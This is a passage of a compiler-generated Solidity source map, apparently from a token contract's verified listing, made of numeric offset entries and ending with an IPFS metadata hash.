56:8;:60::i;:::-;12227:196;::::0;-1:-1:-1;;;12227:196:0;;-1:-1:-1;;;;;12227:15:0::1;:66;::::0;::::1;::::0;:196:::1;::::0;12308:11;;12334:1:::1;::::0;12350:4;;12377::::1;::::0;12397:15:::1;::::0;12227:196:::1;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;-1:-1:-1::0;;5486:6:0;:14;;-1:-1:-1;;;;5486:14:0;;;-1:-1:-1;;;;11950:481:0:o;12678:92::-;12735:10;;:27;;-1:-1:-1;;;;;12735:10:0;;;;:27;;;;;12755:6;;12735:10;:27;:10;:27;12755:6;12735:10;:27;;;;;;;;;;;;;;;;;;;1117:173;1173:16;1192:6;;-1:-1:-1;;;;;1209:17:0;;;-1:-1:-1;;;;;;1209:17:0;;;;;;1242:40;;1192:6;;;;;;;1242:40;;1173:16;1242:40;1162:128;1117:173;:::o;7269:249::-;-1:-1:-1;;;;;7376:15:0;;;;;;:9;:15;;;;;;:32;;7396:11;7376:19;:32::i;:::-;-1:-1:-1;;;;;7360:15:0;;;;;;;:9;:15;;;;;;:48;;;;7433:13;;;;;;;:30;;7451:11;7433:17;:30::i;:::-;-1:-1:-1;;;;;7419:13:0;;;;;;;:9;:13;;;;;;;:44;;;;7479:31;;;;;;;;;;7498:11;1361:25:1;;1349:2;1334:18;;1215:177;2105:246:0;2163:7;2187:1;2192;2187:6;2183:47;;-1:-1:-1;2217:1:0;2210:8;;2183:47;2240:9;2252:5;2256:1;2252;:5;:::i;:::-;2240:17;-1:-1:-1;2285:1:0;2276:5;2280:1;2240:17;2276:5;:::i;:::-;:10;2268:56;;;;-1:-1:-1;;;2268:56:0;;12564:2:1;2268:56:0;;;12546:21:1;12603:2;12583:18;;;12576:30;12642:34;12622:18;;;12615:62;-1:-1:-1;;;12693:18:1;;;12686:31;12734:19;;2268:56:0;12362:397:1;2268:56:0;2342:1;2105:246;-1:-1:-1;;;2105:246:0:o;2701:132::-;2759:7;2786:39;2790:1;2793;2786:39;;;;;;;;;;;;;;;;;:3;:39::i;11843:99::-;11900:7;11928:1;11925;:4;11924:10;;11933:1;11924:10;;;-1:-1:-1;11931:1:0;11843:99;-1:-1:-1;11843:99:0:o;2359:136::-;2417:7;2444:43;2448:1;2451;2444:43;;;;;;;;;;;;;;;;;:3;:43::i;10868:257::-;10978:15;10995:45;11013:4;11018:9;11028:11;10995:17;:45::i;:::-;10978:62;-1:-1:-1;11051:66:0;11071:4;11077:2;10978:62;11090:26;:11;11106:9;11090:15;:26::i;:::-;11051:19;:66::i;:::-;10967:158;10868:257;;;;:::o;1920:177::-;1978:7;;2010:5;2014:1;2010;:5;:::i;:::-;1998:17;;2037:1;2034;:4;;2026:44;;;;-1:-1:-1;;;2026:44:0;;12966:2:1;2026:44:0;;;12948:21:1;13005:2;12985:18;;;12978:30;13044:29;13024:18;;;13017:57;13091:18;;2026:44:0;12764:351:1;2841:187:0;2927:7;2960:12;2955:3;2947:26;;;;-1:-1:-1;;;2947:26:0;;;;;;;;:::i;:::-;-1:-1:-1;2984:9:0;2996:5;3000:1;2996;:5;:::i;11419:416::-;11566:10;;11519:7;;;;-1:-1:-1;;;;;11566:10:0;;;11557:19;;;;:66;;11593:13;;:30;;11611:11;11593:17;:30::i;:::-;11557:66;;;11579:11;11557:66;11539:84;-1:-1:-1;11638:13:0;;11634:169;;11711:4;11693:24;;;;:9;:24;;;;;;:39;;11722:9;11693:28;:39::i;:::-;11686:4;11668:24;;;;:9;:24;;;;;;;:64;;;;11752:39;;-1:-1:-1;;;;;11752:39:0;;;;;;;11781:9;1361:25:1;;1349:2;1334:18;;1215:177;11752:39:0;;;;;;;;11634:169;11820:7;11419:416;-1:-1:-1;;;;11419:416:0:o;11133:278::-;-1:-1:-1;;;;;11267:15:0;;;;;;:9;:15;;;;;;:31;;11287:10;11267:19;:31::i;:::-;-1:-1:-1;;;;;11251:15:0;;;;;;;:9;:15;;;;;;:47;;;;11324:13;;;;;;;:32;;11342:13;11324:17;:32::i;:::-;-1:-1:-1;;;;;11309:13:0;;;;;;;:9;:13;;;;;;;:47;;;;11372:31;;;;;;;;;;11389:13;1361:25:1;;1349:2;1334:18;;1215:177;11372:31:0;;;;;;;;11133:278;;;;:::o;14:548:1:-;126:4;155:2;184;173:9;166:21;216:6;210:13;259:6;254:2;243:9;239:18;232:34;284:1;294:140;308:6;305:1;302:13;294:140;;;403:14;;;399:23;;393:30;369:17;;;388:2;365:26;358:66;323:10;;294:140;;;298:3;483:1;478:2;469:6;458:9;454:22;450:31;443:42;553:2;546;542:7;537:2;529:6;525:15;521:29;510:9;506:45;502:54;494:62;;;;14:548;;;;:::o;567:131::-;-1:-1:-1;;;;;642:31:1;;632:42;;622:70;;688:1;685;678:12;703:315;771:6;779;832:2;820:9;811:7;807:23;803:32;800:52;;;848:1;845;838:12;800:52;887:9;874:23;906:31;931:5;906:31;:::i;:::-;956:5;1008:2;993:18;;;;980:32;;-1:-1:-1;;;703:315:1:o;1397:456::-;1474:6;1482;1490;1543:2;1531:9;1522:7;1518:23;1514:32;1511:52;;;1559:1;1556;1549:12;1511:52;1598:9;1585:23;1617:31;1642:5;1617:31;:::i;:::-;1667:5;-1:-1:-1;1724:2:1;1709:18;;1696:32;1737:33;1696:32;1737:33;:::i;:::-;1397:456;;1789:7;;-1:-1:-1;;;1843:2:1;1828:18;;;;1815:32;;1397:456::o;2047:247::-;2106:6;2159:2;2147:9;2138:7;2134:23;2130:32;2127:52;;;2175:1;2172;2165:12;2127:52;2214:9;2201:23;2233:31;2258:5;2233:31;:::i;2507:388::-;2575:6;2583;2636:2;2624:9;2615:7;2611:23;2607:32;2604:52;;;2652:1;2649;2642:12;2604:52;2691:9;2678:23;2710:31;2735:5;2710:31;:::i;:::-;2760:5;-1:-1:-1;2817:2:1;2802:18;;2789:32;2830:33;2789:32;2830:33;:::i;:::-;2882:7;2872:17;;;2507:388;;;;;:::o;2900:127::-;2961:10;2956:3;2952:20;2949:1;2942:31;2992:4;2989:1;2982:15;3016:4;3013:1;3006:15;3032:416;3121:1;3158:5;3121:1;3172:270;3193:7;3183:8;3180:21;3172:270;;;3252:4;3248:1;3244:6;3240:17;3234:4;3231:27;3228:53;;;3261:18;;:::i;:::-;3311:7;3301:8;3297:22;3294:55;;;3331:16;;;;3294:55;3410:22;;;;3370:15;;;;3172:270;;;3176:3;3032:416;;;;;:::o;3453:806::-;3502:5;3532:8;3522:80;;-1:-1:-1;3573:1:1;3587:5;;3522:80;3621:4;3611:76;;-1:-1:-1;3658:1:1;3672:5;;3611:76;3703:4;3721:1;3716:59;;;;3789:1;3784:130;;;;3696:218;;3716:59;3746:1;3737:10;;3760:5;;;3784:130;3821:3;3811:8;3808:17;3805:43;;;3828:18;;:::i;:::-;-1:-1:-1;;3884:1:1;3870:16;;3899:5;;3696:218;;3998:2;3988:8;3985:16;3979:3;3973:4;3970:13;3966:36;3960:2;3950:8;3947:16;3942:2;3936:4;3933:12;3929:35;3926:77;3923:159;;;-1:-1:-1;4035:19:1;;;4067:5;;3923:159;4114:34;4139:8;4133:4;4114:34;:::i;:::-;4184:6;4180:1;4176:6;4172:19;4163:7;4160:32;4157:58;;;4195:18;;:::i;:::-;4233:20;;3453:806;-1:-1:-1;;;3453:806:1:o;4264:140::-;4322:5;4351:47;4392:4;4382:8;4378:19;4372:4;4351:47;:::i;4409:168::-;4482:9;;;4513;;4530:15;;;4524:22;;4510:37;4500:71;;4551:18;;:::i;4582:356::-;4784:2;4766:21;;;4803:18;;;4796:30;4862:34;4857:2;4842:18;;4835:62;4929:2;4914:18;;4582:356::o;5295:251::-;5365:6;5418:2;5406:9;5397:7;5393:23;5389:32;5386:52;;;5434:1;5431;5424:12;5386:52;5466:9;5460:16;5485:31;5510:5;5485:31;:::i;6472:306::-;6560:6;6568;6576;6629:2;6617:9;6608:7;6604:23;6600:32;6597:52;;;6645:1;6642;6635:12;6597:52;6674:9;6668:16;6658:26;;6724:2;6713:9;6709:18;6703:25;6693:35;;6768:2;6757:9;6753:18;6747:25;6737:35;;6472:306;;;;;:::o;7062:277::-;7129:6;7182:2;7170:9;7161:7;7157:23;7153:32;7150:52;;;7198:1;7195;7188:12;7150:52;7230:9;7224:16;7283:5;7276:13;7269:21;7262:5;7259:32;7249:60;;7305:1;7302;7295:12;10133:125;10198:9;;;10219:10;;;10216:36;;;10232:18;;:::i;10618:135::-;10657:3;10678:17;;;10675:43;;10698:18;;:::i;:::-;-1:-1:-1;10745:1:1;10734:13;;10618:135::o;10758:128::-;10825:9;;;10846:11;;;10843:37;;;10860:18;;:::i;11023:127::-;11084:10;11079:3;11075:20;11072:1;11065:31;11115:4;11112:1;11105:15;11139:4;11136:1;11129:15;11155:980;11417:4;11465:3;11454:9;11450:19;11496:6;11485:9;11478:25;11522:2;11560:6;11555:2;11544:9;11540:18;11533:34;11603:3;11598:2;11587:9;11583:18;11576:31;11627:6;11662;11656:13;11693:6;11685;11678:22;11731:3;11720:9;11716:19;11709:26;;11770:2;11762:6;11758:15;11744:29;;11791:1;11801:195;11815:6;11812:1;11809:13;11801:195;;;11880:13;;-1:-1:-1;;;;;11876:39:1;11864:52;;11971:15;;;;11936:12;;;;11912:1;11830:9;11801:195;;;-1:-1:-1;;;;;;;12052:32:1;;;;12047:2;12032:18;;12025:60;-1:-1:-1;;;12116:3:1;12101:19;12094:35;12013:3;11155:980;-1:-1:-1;;;11155:980:1:o;12140:217::-;12180:1;12206;12196:132;;12250:10;12245:3;12241:20;12238:1;12231:31;12285:4;12282:1;12275:15;12313:4;12310:1;12303:15;12196:132;-1:-1:-1;12342:9:1;;12140:217::o

ipfs://13244fe2b06d08c6bbc64c430b01037754984fdd9433f8c1043895bbe4d8f773